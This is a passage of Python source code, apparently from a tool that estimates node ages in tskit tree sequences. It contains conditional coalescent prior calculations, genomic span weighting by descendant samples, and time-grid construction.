- remove when tskit 0.2.4 is released\ntskit.Edge.span = property(lambda edge: (edge.right - edge.left)) # NOQA\ntskit.Tree.num_children = lambda tree, node: len(tree.children(node)) # NOQA\ntskit.Tree.is_isolated = lambda tree, node: (\n tree.num_children(node) == 0 and tree.parent(node) == tskit.NULL) # NOQA\ntskit.TreeIterator.__len__ = lambda it: it.tree.tree_sequence.num_trees # NOQA\n\n\ndef lognorm_approx(mean, var):\n \"\"\"\n alpha is mean of underlying normal distribution\n beta is variance of underlying normal distribution\n \"\"\"\n beta = np.log(var / (mean ** 2) + 1)\n alpha = np.log(mean) - 0.5 * beta\n return alpha, beta\n\n\ndef gamma_approx(mean, variance):\n \"\"\"\n Returns alpha and beta of a gamma distribution for a given mean and variance\n \"\"\"\n\n return (mean ** 2) / variance, mean / variance\n\n\ndef lognorm_cdf(percentiles, alpha, beta):\n pass\n\n\ndef gamma_cdf(percentiles, alpha, beta):\n pass\n\n\ndef check_ts_for_dating(ts):\n \"\"\"\n Check that the tree sequence is valid for dating (e.g. it has only a single\n tree topology at each position)\n \"\"\"\n for tree in ts.trees():\n main_roots = 0\n for root in tree.roots:\n main_roots += 0 if tree.is_isolated(root) else 1\n if main_roots > 1:\n raise ValueError(\n \"The tree sequence you are trying to date has more than\"\n \" one tree at position {}\".format(tree.interval[0]))\n\n\nclass ConditionalCoalescentTimes():\n \"\"\"\n Make and store conditional coalescent priors\n \"\"\"\n\n def __init__(self, precalc_approximation_n, prior_distr='lognorm'):\n \"\"\"\n :param bool precalc_approximation_n: the size of tree used for\n approximate prior (larger numbers give a better approximation).\n If 0 or otherwise falsey, do not precalculate,\n and therefore do no allow approximate priors to be used\n \"\"\"\n self.n_approx = precalc_approximation_n\n self.prior_store = {}\n\n if precalc_approximation_n:\n # Create lookup table based on a large n that can be used for n > ~50\n filename = self.precalc_approx_fn(precalc_approximation_n)\n if os.path.isfile(filename):\n # Have already calculated and stored this\n self.approx_prior = np.genfromtxt(filename)\n else:\n # Calc and store\n self.approx_prior = self.precalculate_prior_for_approximation(\n precalc_approximation_n)\n else:\n self.approx_prior = None\n\n self.prior_distr = prior_distr\n if prior_distr == 'lognorm':\n self.func_approx = lognorm_approx\n elif prior_distr == 'gamma':\n self.func_approx = gamma_approx\n else:\n raise ValueError(\"prior distribution must be lognorm or gamma\")\n\n def __getitem__(self, total_tips):\n \"\"\"\n Return a pandas dataframe for the conditional number of total tips in the tree.\n Return a pandas dataframe of conditional prior on age of node\n \"\"\"\n return self.prior_store[total_tips]\n\n def add(self, total_tips, approximate=None):\n \"\"\"\n Create a pandas dataframe to lookup prior mean and variance of\n ages for nodes with descendant sample tips range from 2..``total_tips``\n given that the total number of tips in the coalescent tree is\n ``total_tips``. The array is indexed by (num_tips / total_tips).\n\n Note: estimated times are scaled by inputted Ne and are haploid\n \"\"\"\n if total_tips in self.prior_store:\n return # Already calculated for this number of total tips\n if approximate is not None:\n self.approximate = approximate\n else:\n if total_tips >= 100:\n self.approximate = True\n else:\n self.approximate = False\n\n if self.approximate and self.approx_prior is None:\n raise RuntimeError(\n \"You cannot add an approximate prior unless you initialize\"\n \" the ConditionalCoalescentTimes object with a non-zero number\")\n\n # alpha/beta and mean/var are simply transformations of one another\n # for the gamma, mean = alpha / beta and var = alpha / (beta **2)\n # for the lognormal, see lognorm_approx for definition\n # mean and var are used in generating the mixture prior\n # alpha and beta are used for generating prior probabilities\n # they are stored separately to obviate need to move between them\n # We should only use prior[2] upwards\n prior = np.full(\n (total_tips + 1, len((ALPHA, BETA, MEAN, VAR))), np.nan, dtype=FLOAT_DTYPE)\n\n if self.approximate:\n get_tau_var = self.tau_var_lookup\n else:\n get_tau_var = self.tau_var_exact\n\n all_tips = np.arange(2, total_tips + 1)\n variances = get_tau_var(total_tips, all_tips)\n # prior.loc[1] is distribution of times of a \"coalescence node\" ending\n # in a single sample - equivalent to the time of the sample itself, so\n # it should have var = 0 and mean = sample.time\n # Setting alpha = 0 and beta = 1 sets mean (a/b) == var (a / b^2) == 0\n prior[1] = [0, 1, 0, 0]\n for var, tips in zip(variances, all_tips):\n # NB: it should be possible to vectorize this in numpy\n expectation = self.tau_expect(tips, total_tips)\n alpha, beta = self.func_approx(expectation, var)\n prior[tips] = alpha, beta, expectation, var\n self.prior_store[total_tips] = prior\n\n def precalculate_prior_for_approximation(self, precalc_approximation_n):\n n = precalc_approximation_n\n logging.debug(\n \"Creating prior lookup table for a total tree of n={} tips\"\n \" in `{}`, this may take some time for large n\"\n .format(n, self.precalc_approx_fn(n)))\n # The first value should be zero tips, we don't want the 1 tip value\n prior_lookup_table = np.zeros((n, 2))\n all_tips = np.arange(2, n + 1)\n prior_lookup_table[1:, 0] = all_tips / n\n prior_lookup_table[1:, 1] = [self.tau_var(val, n + 1) for val in all_tips]\n np.savetxt(self.precalc_approx_fn(n), prior_lookup_table)\n return prior_lookup_table\n\n def clear_precalculated_prior(self):\n if os.path.isfile(self.precalc_approx_fn(self.n_approx)):\n os.remove(self.precalc_approx_fn(self.n_approx))\n else:\n logging.debug(\n \"Precalculated prior in `{}` has not been created, so cannot be cleared\"\n .format(self.precalc_approx_fn(self.n_approx)))\n\n @staticmethod\n def precalc_approx_fn(precalc_approximation_n):\n script_dir = os.path.dirname(os.path.abspath(__file__))\n parent_dir = os.path.dirname(script_dir)\n return os.path.join(\n parent_dir, \"data\", \"prior_{}df.txt\".format(precalc_approximation_n))\n\n @staticmethod\n def m_prob(m, i, n):\n \"\"\"\n Corollary 2 in Wiuf and Donnelly (1999). Probability of one\n ancestor to entire sample at time tau\n \"\"\"\n return (comb(n - m - 1, i - 2, exact=True) *\n comb(m, 2, exact=True)) / comb(n, i + 1, exact=True)\n\n @staticmethod\n def tau_expect(i, n):\n if i == n:\n return 2 * (1 - (1 / n))\n else:\n return (i - 1) / n\n\n @staticmethod\n def tau_squared_conditional(m, n):\n \"\"\"\n Gives expectation of tau squared conditional on m\n Equation (10) from Wiuf and Donnelly (1999).\n \"\"\"\n t_sum = np.sum(1 / np.arange(m, n + 1) ** 2)\n return 8 * t_sum + (8 / n) - (8 / m) - (8 / (n * m))\n\n @staticmethod\n def tau_var(i, n):\n \"\"\"\n For the last coalesence (n=2), calculate the Tmrca of the whole sample\n \"\"\"\n if i == n:\n value = np.arange(2, n + 1)\n var = np.sum(1 / ((value ** 2) * ((value - 1) ** 2)))\n return np.abs(4 * var)\n else:\n tau_square_sum = 0\n for m in range(2, n - i + 2):\n tau_square_sum += (\n ConditionalCoalescentTimes.m_prob(m, i, n) *\n ConditionalCoalescentTimes.tau_squared_conditional(m, n))\n return np.abs(\n (ConditionalCoalescentTimes.tau_expect(i, n) ** 2) -\n (tau_square_sum))\n\n # The following are not static as they may need to access self.approx_prior for this\n # instance\n def tau_var_lookup(self, total_tips, all_tips):\n \"\"\"\n Lookup tau_var if approximate is True\n \"\"\"\n interpolated_prior = np.interp(all_tips / total_tips,\n self.approx_prior[:, 0], self.approx_prior[:, 1])\n\n # insertion_point = np.searchsorted(all_tips / self.total_tips,\n # self.approx_prior[:, 0])\n # interpolated_prior = self.approx_prior[insertion_point, 1]\n\n # The final MRCA we calculate exactly\n interpolated_prior[all_tips == total_tips] = \\\n self.tau_var(total_tips, total_tips)\n return interpolated_prior\n\n def tau_var_exact(self, total_tips, all_tips):\n # TODO, vectorize this properly\n return [self.tau_var(tips, total_tips) for tips in all_tips]\n\n def get_mixture_prior_params(self, spans_by_samples):\n \"\"\"\n Given an object that can be queried for tip weights for a node,\n and a set of conditional coalescent priors for different\n numbers of sample tips under a node, return the alpha and beta\n parameters of the gamma distribution that approximates the\n distribution of times for each node by mixing gamma distributions\n fitted to the basic_priors.\n\n :param .SpansBySamples spans_by_samples: An instance of the\n :class:`SpansBySamples` class that can be used to obtain\n weights for each.\n :return: A data frame giving the alpha and beta parameters for each\n node id in ``spans_by_samples.nodes_to_date``, which can be used\n to approximate the probabilities of times for that node used a\n gamma distribution.\n :rtype: pandas.DataFrame\n \"\"\"\n\n def mixture_expect_and_var(mixture):\n expectation = 0\n first = secnd = 0\n for N, tip_dict in mixture.items():\n # assert 1 not in tip_dict.descendant_tips\n mean = self[N][tip_dict.descendant_tips, MEAN]\n var = self[N][tip_dict.descendant_tips, VAR]\n # Mixture expectation\n expectation += np.sum(mean * tip_dict.weight)\n # Mixture variance\n first += np.sum(var * tip_dict.weight)\n secnd += np.sum(mean ** 2 * tip_dict.weight)\n mean = expectation\n var = first + secnd - (expectation ** 2)\n return mean, var\n\n seen_mixtures = {}\n # allocate space for params for all nodes, even though we only use nodes_to_date\n num_nodes, num_params = spans_by_samples.ts.num_nodes, len((ALPHA, BETA))\n prior = np.full((num_nodes + 1, num_params), np.nan, dtype=FLOAT_DTYPE)\n for node in spans_by_samples.nodes_to_date:\n mixture = spans_by_samples.get_weights(node)\n if len(mixture) == 1:\n # The norm: this node spans trees that all have the same set of samples\n total_tips, weight_tuple = next(iter(mixture.items()))\n if len(weight_tuple.weight) == 1:\n d_tips = weight_tuple.descendant_tips[0]\n # This node is not a mixture - can use the standard coalescent prior\n prior[node] = self[total_tips][d_tips, [ALPHA, BETA]]\n elif len(weight_tuple.weight) <= 5:\n # Making mixture priors is a little expensive. We can help by caching\n # in those cases where we have only a few mixtures\n # (arbitrarily set here as <= 5 mixtures)\n mixture_hash = (\n total_tips,\n weight_tuple.descendant_tips.tostring(),\n weight_tuple.weight.tostring())\n if mixture_hash not in seen_mixtures:\n prior[node] = seen_mixtures[mixture_hash] = \\\n self.func_approx(*mixture_expect_and_var(mixture))\n else:\n prior[node] = seen_mixtures[mixture_hash]\n else:\n # a large number of mixtures in this node - don't bother caching\n prior[node] = self.func_approx(*mixture_expect_and_var(mixture))\n else:\n # The node spans trees with multiple total tip numbers,\n # don't use the cache\n prior[node] = self.func_approx(*mixture_expect_and_var(mixture))\n return prior\n\n\nWeights = namedtuple('Weights', 'descendant_tips weight')\n\n\nclass SpansBySamples:\n \"\"\"\n A class to calculate and return the genomic spans covered by each\n non-sample node, broken down by the number of samples that descend\n directly from that node. This is used to calculate the conditional\n coalescent prior. The main method is :meth:`normalized_spans`, which\n returns the spans for a node, normalized by the total span that that\n node covers in the tree sequence.\n\n .. note:: This assumes that all edges connect to the same tree - i.e.\n there is only a single topology present at each point in the\n genome. Equivalently, it assumes that only one of the roots in\n a tree has descending edges (all other roots represent isolated\n \"missing data\" nodes.\n\n :ivar tree_sequence: A reference to the tree sequence that was used to\n generate the spans and weights\n :vartype tree_sequence: tskit.TreeSequence\n :ivar total_fixed_at_0_counts: A numpy array of unique numbers which list,\n in no particular order, the various sample counts among the trees\n in this tree sequence. In the simplest case of a tree sequence with\n no missing data, all trees have the same count of numbers of samples,\n and there will be only a single number in this array, equal to\n :attr:`.tree_sequence.num_samples`. However, where samples contain\n :ref:`missing data <sec_data_model_missing_data>`,\n some trees will contain fewer sample nodes, so this array will also\n contain additional numbers, all of which will be less than\n :attr:`.tree_sequence.num_samples`.\n :vartype total_fixed_at_0_counts: numpy.ndarray (dtype=np.uint64)\n :ivar node_spans: A numpy array of size :attr:`.tree_sequence.num_nodes`\n containing the genomic span covered by each node (including sample nodes)\n :vartype node_spans: numpy.ndarray (dtype=np.uint64)\n :ivar nodes_to_date: An numpy array containing all the node ids in the tree\n sequence that we wish to date. These are usually all the non-sample nodes,\n and also provide the node numbers that are valid parameters for the\n :meth:`weights` method.\n :vartype nodes_to_date: numpy.ndarray (dtype=np.uint32)\n \"\"\"\n def __init__(self, tree_sequence, fixed_nodes=None, progress=False):\n \"\"\"\n :param TreeSequence ts: The input :class:`tskit.TreeSequence`.\n :param iterable fixed_nodes: A list of all the nodes in the tree sequence\n whose time is treated as fixed. These nodes will be used to calculate\n prior values for any ancestral nodes. Normally the fixed nodes are\n equivalent to ``ts.samples()``, but this parameter is available so\n that a pre-calculated set can be passed in, to save the expense of\n re-calculating it when setting up the class. If ``None`` (the default)\n a set of fixed_nodes will be constructed during initialization.\n\n Currently, only the nodes in this set that are at time 0 will be used\n to calculate the prior.\n \"\"\"\n self.ts = tree_sequence\n self.fixed_nodes = set(self.ts.samples()) if fixed_nodes is None else \\\n set(fixed_nodes)\n self.progress = progress\n # TODO check that all fixed nodes are marked as samples\n self.fixed_at_0_nodes = {n for n in self.fixed_nodes\n if self.ts.node(n).time == 0}\n\n # We will store the spans in here, and normalize them at the end\n self._spans = defaultdict(lambda: defaultdict(lambda: defaultdict(FLOAT_DTYPE)))\n\n with tqdm(total=3, desc=\"TipCount\", disable=not self.progress) as progressbar:\n node_spans, trees_with_undated, total_fixed_at_0_per_tree = self.first_pass()\n progressbar.update()\n\n # A set of the total_num_tips in different trees (used for missing data)\n self.total_fixed_at_0_counts = set(np.unique(total_fixed_at_0_per_tree))\n # The complete spans for each node, used e.g. for normalising\n self.node_spans = node_spans\n\n # Check for remaining undated nodes (all unary ones)\n if self.nodes_remain_to_date():\n self.second_pass(trees_with_undated, total_fixed_at_0_per_tree)\n progressbar.update()\n if self.nodes_remain_to_date():\n self.third_pass(trees_with_undated, total_fixed_at_0_per_tree)\n progressbar.update()\n self.finalise()\n progressbar.close()\n\n def nodes_remaining_to_date(self):\n \"\"\"\n Return a set of the node IDs that we want to date, but which haven't had a\n set of spans allocated which could be used to date the node.\n \"\"\"\n return {n for n in range(self.ts.num_nodes) if not(\n n in self._spans or n in self.fixed_nodes)}\n\n def nodes_remain_to_date(self):\n \"\"\"\n A more efficient version of nodes_remaining_to_date() that simply tells us if\n there are any more nodes that remain to date, but does not identify which ones\n \"\"\"\n if self.ts.num_nodes - len(self.fixed_nodes) - len(self._spans) != 0:\n # we should always have equal or fewer results than nodes to date\n assert len(self._spans) < self.ts.num_nodes - len(self.fixed_nodes)\n return True\n return False\n\n def first_pass(self):\n \"\"\"\n Returns a tuple of the span that each node covers, a list of the tree indices of\n trees that have undated nodes (used to quickly revist these trees later), and the\n number of valid samples (tips) in each tree.\n \"\"\"\n # The following 3 variables will be returned by this function\n node_spans = np.zeros(self.ts.num_nodes)\n trees_with_undated = [] # Used to revisit trees with nodes that need dating\n n_tips_per_tree = np.full(self.ts.num_trees, tskit.NULL, dtype=np.int64)\n\n # Some useful local tracking variables\n num_children = np.full(self.ts.num_nodes, 0, dtype=np.int32)\n # Store the last recorded genome position for this node.\n # If set to np.nan, this indicates that we are not currently tracking this node\n stored_pos = np.full(self.ts.num_nodes, np.nan)\n\n def save_to_spans(prev_tree, node, num_fixed_at_0_treenodes):\n \"\"\"\n A convenience function to save accumulated tracked node data at the current\n breakpoint. If this is a non-fixed node which needs dating, we save the\n span by # descendant tips into self._spans. If the node was skipped because\n it is a unary node at the top of the tree, return None.\n \"\"\"\n if np.isnan(stored_pos[node]):\n # Don't save ones that we aren't tracking\n return False\n coverage = prev_tree.interval[1] - stored_pos[node]\n node_spans[node] += coverage\n if node in self.fixed_nodes:\n return True\n n_fixed_at_0 = prev_tree.num_tracked_samples(node)\n assert n_fixed_at_0 > 0\n if prev_tree.num_children(node) > 1:\n # This is a coalescent node\n self._spans[node][num_fixed_at_0_treenodes][n_fixed_at_0] += coverage\n else:\n # Treat unary nodes differently: mixture of coalescent nodes above+below\n top_node = prev_tree.parent(node)\n try: # Find coalescent node above\n while prev_tree.num_children(top_node) == 1:\n top_node = prev_tree.parent(top_node)\n except ValueError: # Happens if we have hit the root\n assert top_node == tskit.NULL\n logging.debug(\n \"Unary node `{}` exists above highest coalescence in tree {}.\"\n \" Skipping for now\".format(node, prev_tree.index))\n return None\n # Half from the node above\n top_node_tips = prev_tree.num_tracked_samples(top_node)\n self._spans[node][num_fixed_at_0_treenodes][top_node_tips] += coverage/2\n # Half from the node below\n # NB: coalescent node below should have same num_tracked_samples as this\n # TODO - assumes no internal unary sample nodes at 0 (impossible)\n self._spans[node][num_fixed_at_0_treenodes][n_fixed_at_0] += coverage/2\n return True\n\n # We iterate over edge_diffs to calculate, as nodes change their descendant tips,\n # the genomic coverage for each node partitioned into descendant tip numbers\n edge_diff_iter = self.ts.edge_diffs()\n # There are 2 possible algorithms - the simplest is to find all the affected\n # nodes in the new tree, and use the constant-time \"Tree.num_tracked_samples()\"\n # to recalculate the number of samples under each affected tip.\n # The more complex one keeps track of the samples added and subtracted\n # each time, basically implementing the num_samples() method itself\n\n # Initialise with first tree\n for node in self.ts.first().nodes():\n stored_pos[node] = 0\n # Consume the first edge diff: normally this is when most edges come in\n num_fixed_at_0_treenodes = 0\n _, _, e_in = next(edge_diff_iter)\n for e in e_in:\n if e.child in self.fixed_at_0_nodes:\n num_fixed_at_0_treenodes += 1\n if e.parent != tskit.NULL:\n num_children[e.parent] += 1\n n_tips_per_tree[0] = num_fixed_at_0_treenodes\n\n # Iterate over trees and remaining edge diffs\n focal_tips = list(self.fixed_at_0_nodes)\n for prev_tree in tqdm(\n self.ts.trees(sample_counts=True, tracked_samples=focal_tips),\n desc=\"1st pass\", disable=not self.progress):\n\n try:\n # Get the edge diffs from the prev tree to the new tree\n _, e_out, e_in = next(edge_diff_iter)\n except StopIteration:\n # Last tree, save all the remaining nodes\n for node in prev_tree.nodes():\n if save_to_spans(prev_tree, node, num_fixed_at_0_treenodes) is None:\n trees_with_undated.append(prev_tree.index)\n assert prev_tree.index == self.ts.num_trees - 1\n continue\n\n fixed_at_0_nodes_out = set()\n fixed_at_0_nodes_in = set()\n disappearing_nodes = set()\n changed_nodes = set()\n for e in e_out:\n # No need to add the parents, as we'll traverse up the previous tree\n # from these points and be guaranteed to hit them too.\n changed_nodes.add(e.child)\n if e.parent != tskit.NULL:\n num_children[e.parent] -= 1\n if num_children[e.parent] == 0:\n disappearing_nodes.add(e.parent)\n for e in e_out:\n # Since a node only has one parent edge, any edge children going out\n # will be lost, unless they are reintroduced in the edges_in, or are\n # the root node\n if num_children[e.child] == 0:\n disappearing_nodes.add(e.child)\n if e.child in self.fixed_at_0_nodes:\n fixed_at_0_nodes_out.add(e.child)\n\n for e in e_in:\n # Edge children are always new\n if e.child in self.fixed_at_0_nodes:\n fixed_at_0_nodes_in.add(e.child)\n # This may change in the upcoming tree\n changed_nodes.add(e.child)\n disappearing_nodes.discard(e.child)\n if e.parent != tskit.NULL:\n # parent nodes might be added in the next tree, and we won't\n # necessarily traverse up to them in the prev tree, so they need\n # to be added to the possibly changing nodes\n changed_nodes.add(e.parent)\n # If a parent or child come in, they definitely won't be disappearing\n num_children[e.parent] += 1\n disappearing_nodes.discard(e.parent)\n # Add unary nodes below the altered ones, as their result is calculated\n # from the coalescent node above\n unary_descendants = set()\n for node in changed_nodes:\n children = prev_tree.children(node)\n if children is not None:\n if len(children) == 1:\n # Keep descending\n node == children[0]\n while True:\n children = prev_tree.children(node)\n if len(children) != 1:\n break\n unary_descendants.add(node)\n node = children[0]\n else:\n # Descend all branches, looking for unary nodes\n for node in prev_tree.children(node):\n while True:\n children = prev_tree.children(node)\n if len(children) != 1:\n break\n unary_descendants.add(node)\n node = children[0]\n\n # find all the nodes in the tree that might have changed their number\n # of descendants, and reset. This might include nodes that are not in\n # the prev tree, but will be in the next one (so we still need to\n # set the stored position). Also track visited_nodes so we don't repeat\n visited_nodes = set()\n for node in changed_nodes | unary_descendants:\n while node != tskit.NULL: # if root or node not in tree\n if node in visited_nodes:\n break\n visited_nodes.add(node)\n # Node is in tree\n if save_to_spans(prev_tree, node, num_fixed_at_0_treenodes) is None:\n trees_with_undated.append(prev_tree.index)\n if node in disappearing_nodes:\n # Not tracking this in the future\n stored_pos[node] = np.nan\n else:\n stored_pos[node] = prev_tree.interval[1]\n node = prev_tree.parent(node)\n\n # If total number of samples has changed: we need to save\n # everything so far & reset all starting positions\n if len(fixed_at_0_nodes_in) != len(fixed_at_0_nodes_out):\n for node in prev_tree.nodes():\n if node in visited_nodes:\n # We have already saved these - no need to again\n continue\n if save_to_spans(prev_tree, node, num_fixed_at_0_treenodes) is None:\n trees_with_undated.append(prev_tree.index)\n if node in disappearing_nodes:\n # Not tracking this in the future\n stored_pos[node] = np.nan\n else:\n stored_pos[node] = prev_tree.interval[1]\n num_fixed_at_0_treenodes += (len(fixed_at_0_nodes_in) -\n len(fixed_at_0_nodes_out))\n n_tips_per_tree[prev_tree.index+1] = num_fixed_at_0_treenodes\n\n return node_spans, trees_with_undated, n_tips_per_tree\n\n def second_pass(self, trees_with_undated, n_tips_per_tree):\n \"\"\"\n Check for nodes which have unassigned prior params after the first\n pass. We should see if can we assign params for these node priors using\n now-parameterized nodes. This requires another pass through the\n tree sequence. If there is no non-parameterized node above, then\n we can simply assign this the coalescent maximum\n \"\"\"\n logging.debug(\n \"Assigning priors to skipped unary nodes, via linked nodes with new priors\")\n unassigned_nodes = self.nodes_remaining_to_date()\n # Simple algorithm does this treewise\n tree_iter = self.ts.trees()\n tree = next(tree_iter)\n for tree_id in tqdm(trees_with_undated, desc=\"2nd pass\",\n disable=not self.progress):\n while tree.index != tree_id:\n tree = next(tree_iter)\n for node in unassigned_nodes:\n if tree.parent(node) == tskit.NULL:\n continue\n # node is either the root or (more likely) not in\n # this tree\n assert tree.num_samples(node) > 0\n assert tree.num_children(node) == 1\n n = node\n done = False\n while not done:\n n = tree.parent(n)\n if n == tskit.NULL or n in self._spans:\n done = True\n if n == tskit.NULL:\n continue\n else:\n logging.debug(\n \"Assigning prior to unary node {}: connected to node {} which\"\n \" has a prior in tree {}\".format(node, n, tree_id))\n for n_tips, weights in self._spans[n].items():\n for k, v in weights.items():\n if k <= 0:\n raise ValueError(\n \"Node {} has no fixed descendants\".format(n))\n local_weight = v / self.node_spans[n]\n self._spans[node][n_tips][k] += tree.span * local_weight / 2\n assert tree.num_children(node) == 1\n total_tips = n_tips_per_tree[tree_id]\n desc_tips = tree.num_samples(node)\n self._spans[node][total_tips][desc_tips] += tree.span / 2\n self.node_spans[node] += tree.span\n\n def third_pass(self, trees_with_undated, n_tips_per_tree):\n \"\"\"\n We STILL have some missing priors.\n These must be unconnected to higher\n nodes in the tree, so we can simply give them the max depth\n \"\"\"\n logging.debug(\n \"Assigning priors to remaining (unconnected) unary nodes using max depth\")\n max_samples = self.ts.num_samples\n unassigned_nodes = self.nodes_remaining_to_date()\n tree_iter = self.ts.trees()\n tree = next(tree_iter)\n for tree_id in tqdm(trees_with_undated, desc=\"3rd pass\",\n disable=not self.progress):\n while tree.index != tree_id:\n tree = next(tree_iter)\n for node in unassigned_nodes:\n if tree.is_internal(node):\n assert tree.num_children(node) == 1\n total_tips = n_tips_per_tree[tree_id]\n # above, we set the maximum\n self._spans[node][max_samples][max_samples] += tree.span / 2\n # below, we do as before\n desc_tips = tree.num_samples(node)\n self._spans[node][total_tips][desc_tips] += tree.span / 2\n\n def finalise(self):\n \"\"\"\n normalize the spans in self._spans by the values in self.node_spans,\n and overwrite the results (as we don't need them any more), providing a\n shortcut to by setting normalized_node_span_data. Also provide the\n nodes_to_date value.\n \"\"\"\n assert not hasattr(self, 'normalized_node_span_data'), \"Already finalised\"\n if self.nodes_remain_to_date():\n raise ValueError(\n \"When finalising node spans, found the following nodes not in any tree;\"\n \" try simplifing your tree sequence: {}\"\n .format(self.nodes_remaining_to_date()))\n\n for node, weights_by_total_tips in self._spans.items():\n self._spans[node] = {} # Overwrite, so we don't leave the old data around\n for num_samples, weights in sorted(weights_by_total_tips.items()):\n self._spans[node][num_samples] = Weights(\n # we use np.int64 as it's faster to look up in pandas dataframes\n descendant_tips=np.array(list(weights.keys()), dtype=np.int64),\n weight=np.array(list(weights.values()))/self.node_spans[node])\n # Assign into the instance, for further reference\n self.normalized_node_span_data = self._spans\n self.nodes_to_date = np.array(list(self._spans.keys()), dtype=np.uint64)\n\n def get_weights(self, node):\n \"\"\"\n Access the main calculated results from this class, returning weights\n for a node contained within a dict of dicts. Weights for each node\n (i.e. normalized genomic spans) sum to one, and are used to construct\n the mixed conditional coalescent prior. For each coalescent node, the\n returned weights are categorised firstly by the total number of sample\n nodes (or \"tips\") ( :math:`T` ) in the tree(s) covered by this node,\n then by the number of descendant samples, :math:`k`. In other words,\n ``weights(u)[T][k]`` gives the fraction of the genome over which node\n ``u`` is present in a tree of ``T`` total samples with exactly ``k``\n samples descending from the node. Although ``k`` may take any value\n from 2 up to ``T``, the values are likely to be very sparse, and many\n values of both ``T`` and ``k`` are likely to be missing from the\n returned weights. For example, if there are no trees in which the node\n ``u`` has exactly 2 descendant samples, then none of the inner\n dictionaries returned by this method will have a key of 2.\n\n Non-coalescent (unary) nodes are treated differently. A unary node\n returns a 50:50 mix of the coalescent node above and the coalescent\n node below it.\n\n :param int node: The node for which we want weights.\n :return: A dictionary, whose keys ( :math:`n_t` ) are the total number of\n samples in the trees in a tree sequence, and whose values are\n themselves a dictionary where key :math:`k` gives the weight (genomic\n span, normalized by the total span over which the node exists) for\n :math:`k` descendant samples, as a floating point number. For any node,\n the normalisation means that all the weights should sum to one.\n :rtype: dict(int, dict(int, FLOAT_DTYPE))'\n \"\"\"\n return self.normalized_node_span_data[node]\n\n def lookup_weight(self, node, total_tips, descendant_tips):\n # Only used for testing\n which = self.get_weights(node)[total_tips].descendant_tips == descendant_tips\n return self.get_weights(node)[total_tips].weight[which]\n\n\ndef create_time_grid(age_prior, prior_distr, n_points=21):\n \"\"\"\n Create the time grid by finding union of the quantiles of the gammas\n For a node with k descendants we have gamma approxs.\n Natural grid would be to take all the distributions\n quantile them up, and then take the union of the quantiles.\n Then thin this, making it no more than 0.05 of a quantile apart.\n Takes all the gamma distributions, finds quantiles, takes union,\n and thins them. Does this in an iterative way.\n \"\"\"\n # Percentages - current day samples should be at time 0, so we omit this\n # We can't include the top end point, as this leads to NaNs\n percentiles = np.linspace(0, 1, n_points + 1)[1:-1]\n # percentiles = np.append(percentiles, 0.999999)\n \"\"\"\n get the set of times from gamma percent point function at the given\n percentiles specifies the value of the RV such that the prob of the var\n being less than or equal to that value equals the given probability\n \"\"\"\n if prior_distr == 'lognorm':\n def lognorm_ppf(percentiles, alpha, beta):\n return scipy.stats.lognorm.ppf(percentiles, s=np.sqrt(beta),\n scale=np.exp(alpha))\n ppf = lognorm_ppf\n\n def lognorm_cdf(t_set, alpha, beta):\n return scipy.stats.lognorm.cdf(t_set, s=np.sqrt(beta), scale=np.exp(alpha))\n cdf = lognorm_cdf\n\n elif prior_distr == 'gamma':\n def gamma_ppf(percentiles, alpha, beta):\n return scipy.stats.gamma.ppf(percentiles, alpha, scale=1 / beta)\n ppf = gamma_ppf\n\n def gamma_cdf(t_set, alpha, beta):\n return scipy.stats.gamma.cdf(t_set, alpha, scale=1 / beta)\n cdf = gamma_cdf\n else:\n raise ValueError(\"prior distribution must be lognorm or gamma\")\n\n t_set = ppf(percentiles, age_prior[2, ALPHA], age_prior[2, BETA])\n\n # progressively add values to the grid\n max_sep = 1.0 / (n_points - 1)\n if age_prior.shape[0] > 2:\n for i in np.arange(3, age_prior.shape[0]):\n # gamma percentiles of existing times in grid\n proj = cdf(t_set, age_prior[i, ALPHA], age_prior[i, BETA])\n \"\"\"\n thin the grid, only add additional quantiles if they're more than\n a certain max_sep fraction (e.g. 0.05) from another quantile\n \"\"\"\n tmp = np.asarray([min(abs(val - proj)) for val in percentiles])\n wd = np.where(tmp > max_sep)\n\n if len(wd[0]) > 0:\n t_set = np.concatenate([\n t_set,\n ppf(percentiles[wd], age_prior[i, ALPHA], age_prior[i, BETA])])\n\n t_set = sorted(t_set)\n return np.insert(t_set, 0, 0)\n\n\nclass NodeGridValues:\n \"\"\"\n A class to store grid values for node ids. For some nodes (fixed ones), only a single\n value needs to be stored. For non-fixed nodes, an array of grid_size variables\n is required, e.g. in order to store all the possible values for each of the hidden\n states in the grid\n\n :ivar num_nodes: The number of nodes that will be stored in this object\n :vartype num_nodes: int\n :ivar nonfixed_nodes: a (possibly empty) numpy array of unique positive node ids each\n of which must be less than num_nodes. Each will have an array of grid_size\n associated with it. All others (up to num_nodes) will be associated with a single\n scalar value instead.\n :vartype nonfixed_nodes: numpy.ndarray\n :ivar grid_size: The size of the time grid used for non-fixed nodes\n :vartype grid: int\n :ivar fill_value: What should we fill the data arrays with to start with\n :vartype fill_value: numpy.scalar\n \"\"\"\n\n def __init__(self, num_nodes, nonfixed_nodes, grid_size,\n fill_value=np.nan, dtype=FLOAT_DTYPE):\n \"\"\"\n :param numpy.ndarray grid: The input numpy.ndarray.\n \"\"\"\n if nonfixed_nodes.ndim != 1:\n raise ValueError(\"nonfixed_nodes must be a 1D numpy array\")\n if np.any((nonfixed_nodes < 0) | (nonfixed_nodes >= num_nodes)):\n raise ValueError(\n \"All non fixed node ids must be between zero and the total node number\")\n self.num_nodes = num_nodes\n self.nonfixed_nodes = nonfixed_nodes\n self.num_nonfixed = len(nonfixed_nodes)\n self.grid_data = np.full((self.num_nonfixed, grid_size), fill_value, dtype=dtype)\n self.fixed_data = np.full(num_nodes - self.num_nonfixed, fill_value, dtype=dtype)\n self.row_lookup = np.empty(num_nodes, dtype=np.int64)\n # non-fixed nodes get a positive value, indicating lookup in the grid_data array\n self.row_lookup[nonfixed_nodes] = np.arange(self.num_nonfixed)\n # fixed nodes get a negative value from -1, indicating lookup in the scalar array\n self.row_lookup[np.logical_not(np.isin(np.arange(num_nodes), nonfixed_nodes))] =\\\n -np.arange(num_nodes - self.num_nonfixed) - 1\n self.probability_space = LIN\n\n def force_probability_space(self, probability_space):\n \"\"\"\n probability_space can be \"logarithmic\" or \"linear\": this function will force\n the current probability space to the desired type\n \"\"\"\n descr = self.probability_space, \" probabilities into\", probability_space, \"space\"\n if probability_space == LIN:\n if self.probability_space == LIN:\n pass\n elif self.probability_space == LOG:\n self.grid_data = np.exp(self.grid_data)\n self.fixed_data = np.exp(self.fixed_data)\n self.probability_space = LIN\n else:\n logging.warning(\"Cannot force\", *descr)\n elif 